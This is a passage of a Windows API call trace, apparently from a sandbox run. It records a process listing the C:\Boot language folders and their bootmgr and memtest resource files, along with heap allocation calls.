	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0066.181] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0066.181] FindClose (in: hFindFile=0x811b88 | out: hFindFile=0x811b88) returned 1
	[0066.182] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.182] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0066.182] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.182] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0066.196] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.196] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.196] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.196] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0066.196] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.196] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0066.196] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.196] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b08
	[0066.196] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.196] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.197] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.197] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.197] FindClose (in: hFindFile=0x811b08 | out: hFindFile=0x811b08) returned 1
	[0066.197] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.197] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0066.197] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.197] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0066.199] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.199] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.199] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.199] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0066.199] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.199] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0066.199] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.199] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0066.199] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.199] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.199] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.199] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.199] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0066.200] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.200] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0066.200] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.200] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811dc8
	[0066.202] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.202] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.202] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.202] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.202] FindClose (in: hFindFile=0x811dc8 | out: hFindFile=0x811dc8) returned 1
	[0066.202] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.202] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0066.203] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.203] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0066.203] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.203] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.203] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.203] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.203] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0066.204] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.204] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0066.204] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.204] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812048
	[0066.204] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.204] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
